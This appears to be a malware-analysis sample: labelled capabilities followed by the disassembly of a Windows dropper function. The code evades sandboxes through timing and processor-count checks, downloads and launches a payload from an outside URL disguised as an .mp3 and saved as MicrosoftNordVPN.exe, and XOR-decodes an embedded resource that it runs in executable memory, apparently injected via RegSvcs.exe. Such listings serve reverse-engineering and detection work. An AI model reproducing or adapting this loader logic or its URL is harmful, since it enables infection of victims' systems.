Function at 0x401290
Capabilities:
Check for time delay via gettickcount
Create process on windows
Download url
Encode data using xor
Extract resource via kernel32 functions
Get system information on windows
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x413486
mov eax, dword fs:[0]
push eax
sub esp, 0x80c
mov eax, dword [0x41c014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
push 0x9c40
mov edi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
call esi
push 0
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ebx, eax
sub esi, edi
lea eax, [ebp - 0x800]
mov dword [ebp - 0x814], ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [ebp - 0x7ec], 2
jbe 0x401805
cmp esi, 0x9c40
jb 0x401805
push 0xa
push 0x65
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push eax
push ebx
mov dword [ebp - 0x810], eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
push 0
push 0x141b
push str.AGsftdwet
mov dword [ebp - 0x818], eax
call fcn.00401100
push str.APPDATA
call fcn.00406185
mov edx, eax
mov dword [ebp - 0x7dc], 0
mov ecx, edx
mov dword [ebp - 0x7cc], 0
add esp, 0x10
mov dword [ebp - 0x7c8], 0xf
mov byte [ebp - 0x7dc], 0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401378
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x7dc]
call fcn.004018b0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x7c4]
push 0x16
mov dword [ebp - 0x7c4], 0
push str.MicrosoftNordVPN.exe
mov dword [ebp - 0x7b4], 0
mov dword [ebp - 0x7b0], 0xf
mov byte [ebp - 0x7c4], 0
call fcn.004018b0
mov byte [ebp - 4], 1
mov eax, 0x7fffffff
mov ebx, dword [ebp - 0x7cc]
sub eax, ebx
mov ecx, dword [ebp - 0x7b4]
cmp eax, ecx
jb 0x40184a
cmp dword [ebp - 0x7c8], 0x10
lea eax, [ebp - 0x7dc]
lea edx, [ebp - 0x7c4]
mov dword [ebp - 0x7a8], 0
cmovae eax, dword [ebp - 0x7dc]
lea edi, [ebp - 0x7a8]
cmp dword [ebp - 0x7b0], 0x10
mov esi, 0xf
mov dword [ebp - 0x808], eax
cmovae edx, dword [ebp - 0x7c4]
mov dword [ebp - 0x80c], edx
lea edx, [ebx + ecx]
mov dword [ebp - 0x798], 0
mov dword [ebp - 0x794], 0
mov dword [ebp - 0x804], edx
cmp edx, esi
jbe 0x4014df
mov esi, edx
or esi, 0xf
cmp esi, 0x7fffffff
jbe 0x40146d
mov esi, 0x7fffffff
jmp 0x401477
mov eax, 0x16
cmp esi, eax
cmovb esi, eax
xor ecx, ecx
mov eax, esi
add eax, 1
setb cl
neg ecx
or ecx, eax
cmp ecx, 0x1000
jb 0x4014ba
lea eax, [ecx + 0x23]
cmp eax, ecx
jbe 0x40184f
push eax
call fcn.00401d37
add esp, 4
test eax, eax
je 0x401854
mov edx, dword [ebp - 0x804]
lea edi, [eax + 0x23]
and edi, 0xffffffe0
mov dword [edi - 4], eax
jmp 0x4014d3
test ecx, ecx
je 0x4014d1
push ecx
call fcn.00401d37
mov edx, dword [ebp - 0x804]
add esp, 4
mov edi, eax
jmp 0x4014d3
xor edi, edi
mov eax, dword [ebp - 0x808]
mov dword [ebp - 0x7a8], edi
push ebx
push eax
push edi
mov dword [ebp - 0x798], edx
mov dword [ebp - 0x794], esi
call fcn.00404370
push dword [ebp - 0x7b4]
lea eax, [ebx + edi]
push dword [ebp - 0x80c]
push eax
call fcn.00404370
mov eax, dword [ebp - 0x804]
add esp, 0x18
mov byte [edi + eax], 0
mov byte [ebp - 4], 2
lea eax, [ebp - 0x7a8]
cmp dword [ebp - 0x794], 0x10
push 0
cmovae eax, dword [ebp - 0x7a8]
push 0
push eax
push str.http:__joxi.net_4Ak49WQH0GE3Nr.mp3
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
cmp dword [ebp - 0x794], 0x10
lea eax, [ebp - 0x7a8]
push 0
cmovae eax, dword [ebp - 0x7a8]
push 0
push 0
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov edx, dword [0x6980d8]
xor ecx, ecx
mov esi, dword [0x6980d4]
mov eax, edx
sub eax, esi
je 0x40158f
sub edx, esi
nop dword [eax]
mov al, byte [esi + ecx]
mov byte [ebp + ecx - 0x790], al
inc ecx
cmp ecx, edx
jb 0x401580
push str.SizeofResource
push dword [0x41c960]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [ebp - 0x810]
push dword [ebp - 0x814]
call eax
push dword [ebp - 0x818]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
xor ecx, ecx
mov edx, eax
test edi, edi
je 0x401620
sub edx, 0x55aab0
nop word [eax + eax]
mov al, byte [ecx + edx + 0x55aab0]
mov byte [ecx + 0x55aab0], al
inc ecx
cmp ecx, edi
jb 0x4015d0
xor esi, esi
mov eax, 0x4ec4ec4f
mov ecx, esi
mul esi
shr edx, 3
imul eax, edx, 0x1a
sub ecx, eax
mov al, byte [ecx + 0x419bf8]
xor byte [esi + 0x55aab0], al
inc esi
cmp esi, edi
jb 0x4015e4
lea edx, [edi + 0x55aaaf]
xor ecx, ecx
nop
mov al, byte [edx]
lea edx, [edx - 1]
mov byte [ecx + 0x41d490], al
inc ecx
cmp ecx, edi
jb 0x401610
mov ebx, 1
lea eax, [ebp - 0x790]
xor edi, edi
sub ebx, eax
nop
mov eax, 0x88888889
lea esi, [ebp - 0x790]
mul edi
mov eax, edi
add esi, edi
shr edx, 3
mov ecx, edx
shl ecx, 4
sub ecx, edx
sub eax, ecx
lea ecx, [ebx + esi]
movzx eax, byte [eax + str.Ydesauydgewyuy]
xor byte [esi], al
mov eax, 0x88888889
mul ecx
mov eax, edi
add edi, 2
shr edx, 3
mov ecx, edx
shl ecx, 4
sub ecx, edx
sub eax, ecx
movzx eax, byte [eax + 0x419c15]
xor byte [esi + 1], al
cmp edi, 0x77e
jb 0x401630
push str.VirtualProtect
push dword [0x41c960]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
movss xmm0, dword [0x41c940]
sub esp, 8
cvtps2pd xmm0, xmm0
mov dword [0x6980d0], eax
mov dword [ebp - 0x7ac], 0
mulsd xmm0, qword [0x41c990]
movsd qword [esp], xmm0
push str.TAFstfdewtdwe
call fcn.00401100
mov edx, str.ETFramework_v4.0.30319RegSvcs.exe
add esp, 0xc
mov esi, edx
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x4016d2
mov edi, str.C:WindowsMicrosoft.N
sub edx, esi
add edi, 0xfffffffe
lea ebx, [edi + 2]
nop word [eax + eax]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x4016f0
mov ecx, edx
lea eax, [ebp - 0x7ac]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push eax
push 0x40
mov ecx, edx
lea eax, [ebp - 0x790]
and ecx, 3
push 0x77e
rep movsb byte es:[edi], byte [esi]
push eax
call dword [0x6980d0]
push 0x41d490
push 0
push ebx
lea eax, [ebp - 0x60f]
call eax
mov edx, dword [ebp - 0x794]
add esp, 0xc
cmp edx, 0x10
jb 0x401772
mov ecx, dword [ebp - 0x7a8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x401768
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401854
push edx
push ecx
call fcn.00401fb8
add esp, 8
mov eax, dword [ebp - 0x7b0]
mov dword [ebp - 0x798], 0
mov dword [ebp - 0x794], 0xf
mov byte [ebp - 0x7a8], 0
cmp eax, 0x10
jb 0x4017c9
mov edx, dword [ebp - 0x7c4]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x4017bf
mov edx, dword [edx - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401854
push ecx
push edx
call fcn.00401fb8
add esp, 8
mov eax, dword [ebp - 0x7c8]
cmp eax, 0x10
jb 0x401801
mov edx, dword [ebp - 0x7dc]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x4017f7
mov edx, dword [edx - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401854
push ecx
push edx
call fcn.00401fb8
add esp, 8
xor eax, eax
jmp 0x40182e
push 0x1f4
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Beep]
push 0x10
push str.Error_
push str.Error_
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov eax, 0x2b
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00401d29
mov esp, ebp
pop ebp
ret
call fcn.00401280
call fcn.004011e0
call fcn.00406048
int3